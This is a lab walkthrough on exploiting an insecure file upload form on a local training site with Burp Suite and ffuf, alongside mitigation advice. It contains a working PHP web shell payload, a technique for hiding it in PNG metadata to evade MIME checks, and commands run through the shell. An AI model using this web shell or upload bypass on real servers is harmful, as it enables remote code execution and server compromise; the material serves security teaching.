

Insecure File Upload Vulnerability – Exploitation with Burp Suite and Command Line

1. Overview of File Upload Vulnerability

A **file upload vulnerability** occurs when a web application accepts a file without proper validation (e.g., file type, size, content). This allows an attacker to upload a malicious file (often a web shell) that can be executed on the server, leading to remote code execution (RCE), full system compromise, data theft, or defacement.

Types:

- **Local File Upload:** The attacker uploads a file directly through the upload form.
- **Remote File Upload:** The application fetches a file from a URL provided by the attacker (e.g., TimThumb vulnerability).

Impact:

- Server takeover via a web shell.
- Overwriting critical files (e.g., .htaccess).
- Injecting phishing pages.
- Exposing internal server paths in error messages.

Mitigation:

- Restrict allowed file extensions (whitelist).
- Validate MIME type and file content.
- Set maximum file size.
- Rename uploaded files to random hashes.
- Store files outside the web root or with disabled execution permissions.
- Use a virus scanner.
- Implement authentication and CAPTCHA.

2. Lab Environment

The lab (e.g., Insecure file upload 0x01 and 0x02) provides an upload form that accepts files but only validates the **Content-Type** header (image/png) – it does not check the actual file extension or contents thoroughly.

3. Step-by-Step Exploitation with Burp Suite and Command Line

3.1 Setup – Foxy Proxy and Burp Suite

1. Install **Foxy Proxy** (Standard) in your browser.
2. Create a new proxy profile:
 - Address: 127.0.0.1
 - Port: 8080
3. Enable the proxy.
4. Start **Burp Suite** – ensure its proxy listener is active on 127.0.0.1:8080.

3.2 Intercept the Upload Request

1. In your browser, navigate to the upload lab (<http://localhost/labs/f0x01.php> or [f0x02.php](http://localhost/labs/f0x02.php)).
2. Select a harmless file (e.g., a PNG image) and click **Upload** while Burp's **Intercept** is on.

Intercepted POST request (example from screenshots):

text

POST /labs/f0x01.php HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Content-Type: multipart/form-data; boundary=-----68186033822164063512296456678

Content-Length: 260

...

-----68186033822164063512296456678

Content-Disposition: form-data; name="uploaded_file"; filename="logo.png"

Content-Type: image/png

PNG

... (binary data) ...

-----68186033822164063512296456678--

3.3 Modify the Request to Inject a Web Shell

We will change the **filename** to cmd.php and embed a PHP payload inside the file content, while keeping the Content-Type: image/png to bypass the MIME check.

Steps in Burp:

- In the **Raw** or **Pretty** view, locate the part:

text

filename="logo.png"

Change it to:

text

filename="cmd.php"

- Find the file content – after the line Content-Type: image/png and a blank line, you will see the image binary data (e.g., starting with PNG).
Insert your PHP code after the PNG header (or within a comment section). For example, replace the content with:

text

PNG

<?php system(\$_GET['cmd']); ?>

(Some screenshots show the payload embedded as <? php system(\$_GET['cmd']); ?> – note the space between <? and php; we need correct syntax: <?php system(\$_GET['cmd']); ?>).

- Ensure the Content-Length header is updated (Burp usually recalculates it automatically, but you can adjust manually if needed).

Final request body (simplified) from screenshots:

text

-----68186033822164063512296456678

Content-Disposition: form-data; name="uploaded_file"; filename="cmd.php"

Content-Type: image/png

PNG

<?php system(\$_GET['cmd']); ?>

-----68186033822164063512296456678--

3.4 Forward the Request

Click **Forward** in Burp. The server processes the file and stores it in the upload directory (e.g., /labs/uploads/). The response usually confirms: The file cmd.php has been uploaded.

3.5 Locate the Uploaded File

You need to know the exact path to access your shell. The screenshots show that files are stored under /labs/uploads/. You can:

- Browse to `http://localhost/labs/uploads/` – if directory listing is enabled, you will see the file list.
- Use **ffuf** (command-line fuzzer) to discover directories/files:

Example ffuf command (from screenshots):

```
bash
```

```
ffuf -u http://localhost/labs/FUZZ -w /usr/share/wordlists/dirb/common.txt
```

This scans for common directory names. The output shows:

```
text
```

```
[Status: 301, Size: ...] uploads
```

indicating the uploads directory exists.

Then test the shell:

```
text
```

```
http://localhost/labs/uploads/cmd.php?cmd=whoami
```

3.6 Execute Commands via the Web Shell

Access the uploaded PHP file with a cmd parameter. The server executes the system command and returns the output.

Example:

- `http://localhost/labs/uploads/cmd.php?cmd=whoami`
Result: www-data (as shown in screenshot).
- `http://localhost/labs/uploads/cmd.php?cmd=hostname`
Result: 3a1e800fac65 (container ID).

Screenshots confirm:

- The browser shows www-data for whoami.
- The browser shows 3a1e800fac65 for hostname.

3.7 Advanced Bypass – Embedding Payload in Image Metadata

If the server checks file extension or MIME more strictly, we can embed the PHP code inside an image file's metadata (e.g., in a comment or tEXt chunk) while keeping the file extension as .png or .php. Some labs allow .php extension if the MIME is image/png.

In the screenshots, we see files like logo2.png, logo3.png, and cmd2.php being uploaded. The payload often appears as:

text

PNG

IHDR...tExtSoftwareAdobe ImageReady<?php system(\$_GET['cmd']); ?> ... IEND

This keeps the PNG magic bytes and passes MIME checks, while the PHP interpreter still executes the embedded code if the file is accessed via .php extension (or if the server interprets .png as PHP due to misconfiguration).

3.8 Using Burp Repeater for Repeated Testing

1. Send the intercepted request to **Repeater** (right-click → Send to Repeater).
2. Modify the filename, payload, or other parameters.
3. Click **Send** to test different variations without re-uploading from the browser.
4. Examine the response to see if the upload succeeded.

4. Directory Discovery with ffuf

To find hidden directories or the upload path, use ffuf:

bash

```
ffuf -u http://localhost/FUZZ -w /usr/share/wordlists/dirb/common.txt
```

- FUZZ is the placeholder for the wordlist entries.
- The output shows status codes and sizes. In our case, we found uploads (301 redirect) and labs (301).

You can also target the uploads directory directly to list files (if indexing is enabled).

5. Executing Commands – Summary

Payload	URL	Command	Output
cmd.php with <code><?php system(\$_GET['cmd']); ?></code>	<code>/labs/uploads/cmd.php?cmd=whoami</code>	<code>whoami</code>	<code>www-data</code>
<code>cmd2.php</code>	<code>/labs/uploads/cmd2.php?cmd=hostname</code>	<code>hostname</code>	<code>3a1e800fac65</code>
<code>logo3.php</code> (renamed)	<code>/labs/uploads/logo3.php?cmd=id</code>	<code>id</code>	(not shown, but similar)

6. Prevention Tips

- **Validate file extensions** – allow only a whitelist (e.g., .jpg, .png).
 - **Validate MIME type** – check the file’s actual MIME using server-side libraries.
 - **Rename uploaded files** – use a random name and store outside the web root.
 - **Disable script execution** in upload directories via .htaccess or server configuration.
 - **Scan file contents** for malicious patterns.
 - **Implement authentication** – only logged-in users can upload.
 - **Set file size limits** to avoid DoS.
-

7. Summary of the Attack Chain

1. **Proxy setup** – Foxy Proxy + Burp.
2. **Intercept** – capture the upload request.
3. **Modify** – change filename to .php and embed PHP code.
4. **Forward** – upload the malicious file.
5. **Locate** – discover the upload path (e.g., via ffuf or browsing).
6. **Execute** – access the shell with cmd parameter.
7. **RCE** – run system commands, exfiltrate data, or pivot.

This practical demonstration highlights how simple file upload vulnerabilities can lead to complete server compromise if proper validation is lacking.